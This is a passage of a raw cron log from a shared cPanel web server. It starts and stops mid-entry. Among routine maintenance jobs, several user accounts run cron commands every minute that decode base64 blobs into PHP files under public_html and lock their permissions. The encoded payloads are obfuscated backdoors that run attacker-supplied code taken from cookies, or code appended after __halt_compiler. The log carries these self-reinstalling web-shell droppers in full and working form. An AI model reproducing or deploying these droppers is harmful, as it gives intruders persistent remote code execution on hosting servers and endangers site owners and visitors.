2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:47:01 medusa CROND[17912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:47:01 medusa CROND[17913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:47:01 medusa CROND[17915]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:47:01 medusa CROND[17916]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:47:01 medusa CROND[17919]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:47:01 medusa CROND[17920]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:47:01 medusa CROND[17922]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:47:01 medusa CROND[17924]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:47:01 medusa CROND[17925]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:47:01 medusa CROND[17934]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 07:47:01 medusa CROND[17935]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:48:01 medusa CROND[19744]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:48:01 medusa CROND[19781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:48:01 medusa CROND[19784]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:48:01 medusa CROND[19783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:48:01 medusa CROND[19785]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:48:01 medusa CROND[19786]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:48:01 medusa CROND[19787]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:48:01 medusa CROND[19789]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:48:01 medusa CROND[19788]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:48:01 medusa CROND[19790]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:48:01 medusa CROND[19791]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:48:01 medusa CROND[19792]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:48:01 medusa CROND[19798]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:49:01 medusa CROND[22366]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:49:02 medusa CROND[22412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:49:02 medusa CROND[22451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:49:02 medusa CROND[22452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:49:02 medusa CROND[22453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:49:02 medusa CROND[22454]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:49:02 medusa CROND[22456]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:49:02 medusa CROND[22457]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:49:02 medusa CROND[22460]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:49:02 medusa CROND[22461]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNY